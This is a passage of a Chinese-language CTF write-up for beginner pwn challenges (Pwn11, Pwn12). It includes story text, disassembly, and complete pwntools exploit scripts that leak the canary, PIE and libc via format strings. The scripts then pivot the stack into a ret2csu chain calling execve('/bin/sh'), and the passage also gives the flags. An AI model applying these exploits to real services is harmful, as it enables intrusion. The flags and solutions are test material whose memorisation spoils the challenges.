从 buf 到 saved rip 一共:
1 0x188 + 8 + 8 + 8 = 0x1a0
而 read 的长度正好也是 0x1a0。所以 payload 只能做到:
1 0x188 字节填充 + 8 字节 Canary + 8 字节 fake rbp + 8 字节 saved RIP
写完 saved RIP 之后,read 就结束了,无法继续在后面追加 ROP 链。这就是必须做栈迁移的原因。
Flag
flag{1b24825f-4f5b-4721-8f82-af2b0e874984}
Pwn11 — 你还真是万能的啊?
不是,你还真是万能的啊?
碰星实验室最近来了一位神秘人物
此人号称上知天文,下知地理,中间还会修电脑。
N1 师傅不信,决定考考他。
N1:会写代码吗?
神秘人:会一点。
N1:会调寄存器吗?
神秘人:略懂略懂。
N1:会帮我传参数吗?
神秘人:小意思。
N1:那你会不会帮我调用函数?
神秘人:你先说调哪个。
N1:???
不是哥们……
你还真是万能的啊?!
于是 N1 师傅决定给他起个响亮的外号:
万能工具人!
在二进制程序的世界里,也存在一些平时毫不起眼的工具人。
它们可能藏在某个角落里,平时根本没人注意。
但只要你找对了它们……
就能让它们按照你的安排,一步一步完成任务。
工具人不可怕,可怕的是有人真的会用工具人。
思路
%4$p 泄漏 PIE(pie+0x2160),%61$p 泄漏 Canary,%67$p 泄漏 _IO_2_1_stdin_(libc 偏移 0x1ec980)。
__libc_csu_init 的 call gadget 用 mov edi, r12d 只写 32 位,不能直接传 "/bin/sh" 的 64 位地址。因此让 csu 调用 libc 的 syscall():
1 2 3 4 5 r12 = 59 -> edi = 59 (execve syscall 号) r13 = &"/bin/sh" -> rsi r14 = &argv -> rdx rcx = 0 -> envp r15 = &syscall
rcx 用 libc 的 pop rdx; pop rcx; pop rbx; ret(0x10257d)清零。
过程
完整利用脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 from pwn import *context.arch = 'amd64' context.log_level = 'info' HOST, PORT = 'xxx' , 12345 p = remote(HOST, PORT) p.recvuntil(b'Answer > ' ) p.sendline(b'continue' ) p.recvuntil(b'PopOff > ' ) p.sendline(b'next' ) p.recvuntil(b'CallOff > ' ) p.sendline(b'next' ) p.recvuntil(b'Stage3Input > ' ) p.sendline(b'next' ) p.recvuntil(b'Base > ' ) p.sendline(b'skip' ) p.recvuntil(b'FinalInput > ' ) p.recvuntil(b'FinalInput > ' ) p.sendline(b'%4$p.%61$p.%67$p' ) s4, s61, s67 = [int (x, 16 ) for x in p.recvline().strip().split(b'.' )] pie = s4 - 0x2160 canary = s61 libc = s67 - 0x1ec980 log.success('pie = %#x' % pie) log.success('canary = %#x' % canary) log.success('libc = %#x' % libc) rop_buf = pie + 0x6060 leave_ret = pie + 0x1dab pop_g = pie + 0x1eea call_g = pie + 0x1ed0 align_ret = pie + 0x1ef4 syscall_fn = libc + 0x118940 binsh = libc + 0x1b45bd pop3 = libc + 0x10257d p.recvuntil(b'FinalInput > ' ) p.sendline(b'go' ) chain = p64(0 ) chain += p64(align_ret) chain += p64(pop_g) chain += p64(0 ) chain += p64(1 ) chain += p64(59 ) chain += p64(binsh) chain += p64(rop_buf + 0x90 ) chain += p64(rop_buf + 0xa0 ) chain += p64(pop3) chain += p64(0 ) chain += p64(0 ) chain += p64(0 ) chain += p64(call_g) chain = chain.ljust(0x90 , b'\x00' ) chain += p64(binsh) chain += p64(0 ) chain += p64(syscall_fn) chain = chain.ljust(0x100 , b'\x00' ) p.recvuntil(b'Rop > ' ) p.send(chain) p.recvuntil(b'Payload > ' ) payload = b'A' * 0x188 + p64(canary) + p64(rop_buf) + p64(leave_ret) assert len (payload) == 0x1a0 p.send(payload) p.sendline(b'cat /flag' ) print (p.recvrepeat(2 ).decode(errors='replace' ))
程序流程与漏洞点
main 只在开头打印横幅,然后调用 stage1_multi_reg;后面每一关成功后直接用 call 进入下一关,形成一条固定的调用链:
1 2 3 4 5 6 main └─ stage1_multi_reg ── 输入 continue └─ stage2_csu_gadgets ── PopOff > / CallOff > 各一行 next └─ stage3_fmt_leak ── 输入 next 跳过 └─ stage4_setup_csu ── 输入 skip └─ final_csu ── 真正的漏洞
对应的固定应答:
Flag
flag{d219f277-5a1c-4673-9243-d1fa5b9315c7}
Pwn12 — 不是哥们,你真成 Pwn 爷✌了?
不是哥们,你真成 Pwn 爷了?
还记得第一次来到 Pwn 世界的你吗?
那时候……
你:胖?什么是胖?
N1:Pwn!
你:胖?
N1:P!W!N!
你:哦哦哦,胖!
后来,你认识了 ELF 小茂密。
研究过程序的身体结构。
和栈栈进行过深入交流。
甚至还偷偷看到了程序不愿意告诉你的秘密。
你骗过金丝雀。
找到过天天搬家的 N1。
还学会了借别人的东西,以及让万能工具人替你干活。
现在……
N1 师傅看着你,陷入了沉思。
N1:不是哥们……
N1:我记得你刚来的时候连 ELF 是什么都不知道啊?
你:略懂略懂。
N1:那你现在会什么?
你:也就会一点点 Pwn 吧。
N1:一点点是多少?
你:你把程序拿来。
N1:???
不是哥们,你真成 Pwn 爷了?!
最终考核:Pwn 爷毕业考试
这一次,N1 不会再把答案直接摆在你面前。
你需要独立观察程序、分析漏洞、寻找利用思路。
也许你会遇到熟悉的保护机制。
也许你会发现之前学过的技巧还可以组合使用。
也许你会卡住、怀疑人生,甚至想砸电脑。
但是……
请记住你第一次拿到 Flag 时的快乐。
请记住第一次成功控制 RIP 时的激动。
也请记住那些陪你一起研究漏洞、一起熬夜调试的师傅们。
N1 毕业寄语:
Pwn 从来不是记住几个 Payload,也不是会调用几个工具。
而是你开始真正理解,程序为什么会按照你的想法运行。
从「胖!什么是胖?」到独立分析一个二进制程序,你已经迈出了重要的一步。
但这不是结束。
真正的 Pwn 之路,才刚刚开始。
—— N1
最后……
欢迎来到 Pwn 爷的世界!✌
思路
final_full_chain 中 buf 位于 rbp-0x110,格式串缓冲区对应 %28$p,Canary 在 buf+0x108,即 %61$p;saved RIP 在 %63$p,其返回地址偏移为 0x19db。
libc 地址位于更深一层的 %209$p,对应 __libc_start_main 中调用 main 之后的地址(偏移 0x24083)。
溢出目标 rbp-0x190 到 saved RIP 为 0x1a0,恰好用完 read 的长度,因此仍需写入 g_rop_buf 再 pivot。
过程
完整利用代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 from pwn import *import syscontext.arch = 'amd64' context.log_level = 'info' elf = ELF('./chall' , checksec=False ) libc = ELF('./libc.so.6' , checksec=False ) HOST = sys.argv[1 ] if len (sys.argv) > 1 else 'xxx' PORT = int (sys.argv[2 ]) if len (sys.argv) > 2 else 12345 SLOT_CANARY = 61 SLOT_PIE = 63 PIE_RET_OFF = 0x19db SLOT_LIBC = 209 LIBC_RET_OFF = 0x24083 G_ROP_BUF = 0x5060 LEAVE_RET = 0x1b75 POP_G = 0x1cba CALL_G = 0x1ca0 RET_G = 0x1b76 SYSCALL_OFF = 0x118940 BINSH_OFF = 0x1b45bd POP_RCX_OFF = 0x10257d p = remote(HOST, PORT) if len (sys.argv) >= 3 else process('./chall' ) p.sendlineafter(b'Answer > ' , b'continue' ) p.sendlineafter(b'Confirm > ' , b'next' ) p.sendlineafter(b'Stage3Input > ' , b'next' ) p.sendlineafter(b'Base > ' , b'skip' ) p.recvuntil(b'FinalInput > ' ) p.recvuntil(b'FinalInput > ' ) p.sendline(b'%61$p.%63$p.%209$p' ) canary, pie_leak, libc_leak = [ int (x, 16 ) for x in p.recvline(timeout=5 ).strip().split(b'.' ) ] pie = pie_leak - PIE_RET_OFF libc.address = libc_leak - LIBC_RET_OFF log.success(f'canary = {canary:#x} ' ) log.success(f'pie = {pie:#x} ' ) log.success(f'libc = {libc.address:#x} ' ) assert pie & 0xfff == 0 assert libc.address & 0xfff == 0 assert canary & 0xff == 0 rop = pie + G_ROP_BUF leave = pie + LEAVE_RET pop_g = pie + POP_G call_g = pie + CALL_G ret_g = pie + RET_G syscall = libc.address + SYSCALL_OFF binsh = libc.address + BINSH_OFF pop_rcx = libc.address + POP_RCX_OFF chain = bytearray (0x100 ) chain[0x00 :0x08 ] = p64(0 ) chain[0x08 :0x10 ] = p64(ret_g) chain[0x10 :0x18 ] = p64(pop_g) chain[0x18 :0x20 ] = p64(0 ) chain[0x20 :0x28 ] = p64(1 ) chain[0x28 :0x30 ] = p64(59 ) chain[0x30 :0x38 ] = p64(binsh) chain[0x38 :0x40 ] = p64(rop + 0x90 ) chain[0x40 :0x48 ] = p64(rop + 0xa0 ) chain[0x48 :0x50 ] = p64(pop_rcx) chain[0x50 :0x58 ] = p64(0 ) chain[0x58 :0x60 ] = p64(0 ) chain[0x60 :0x68 ] = p64(0 ) chain[0x68 :0x70 ] = p64(call_g) chain[0x90 :0x98 ] = p64(binsh) chain[0x98 :0xa0 ] = p64(0 ) chain[0xa0 :0xa8 ] = p64(syscall) p.sendlineafter(b'FinalInput > ' , b'go' ) p.sendafter(b'Rop > ' , bytes (chain)) payload = b'A' * 0x188 payload += p64(canary) payload += p64(rop) payload += p64(leave) assert len (payload) == 0x1a0 p.sendafter(b'Payload > ' , payload) p.sendline(b'cat /flag; cat /flag.txt' ) print (p.recvrepeat(3 ).decode(errors='replace' ))
final_full_chain 的栈布局
关键反汇编:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 00000000000019f2 <final_full_chain>: 19f6: push rbp 19f7: mov rbp,rsp 19fa: sub rsp,0x1a0 1a01: mov rax,QWORD PTR fs:0x28 1a0a: mov QWORD PTR [rbp-0x8],rax ; canary ... 1aac: lea rax,[rbp-0x110] 1abd: call leak_interact ; printf(buf) 格式串 ... 1af9: lea rdi,[rip+0x1c00] ; "Rop > " 1b05: call printf 1b0a: mov edx,0x100 1b0f: lea rsi,[rip+0x354a] ; g_rop_buf 1b16: mov edi,0 1b1b: call read ; read(0, g_rop_buf, 0x100) ... 1b27: lea rdi,[rip+0x1bd9] ; "Payload > " 1b33: call printf 1b38: mov QWORD PTR [rbp-0x198],0x1a0 1b43: mov rdx,QWORD PTR [rbp-0x198] 1b4a: lea rax,[rbp-0x190] 1b51: mov rsi,rax 1b54: mov edi,0 1b59: call read ; read(0, rbp-0x190, 0x1a0) ... 1b61: mov rax,QWORD PTR [rbp-0x8] 1b65: xor rax,QWORD PTR fs:0x28 1b6e: je 1b75 1b70: call __stack_chk_fail 1b75: leave 1b76: ret
帧结构:
1 2 3 4 5 6 7 8 9 低地址 buf(格式串,rbp-0x110) ... rbp-0x190 ← 受限溢出 read 的目标 ... rbp-0x8 canary rbp+0x0 saved rbp rbp+0x8 saved RIP 高地址
从溢出目标 rbp-0x190 到 canary:
所以:
1 payload = 'A' * 0x188 + canary + fake_rbp + saved_rip
saved RIP 位于 buf+0x198,整个 payload 恰好:
1 0x188 + 8 + 8 + 8 = 0x1a0
read 的长度也正好是 0x1a0,多一个字节都没有;这也意味着无法把整条 csu 链直接塞进这次溢出,必须先写到 .bss 再 pivot。
Flag
flag{d5776623-21d9-4dfe-9ab7-07bf2b6a3cf0}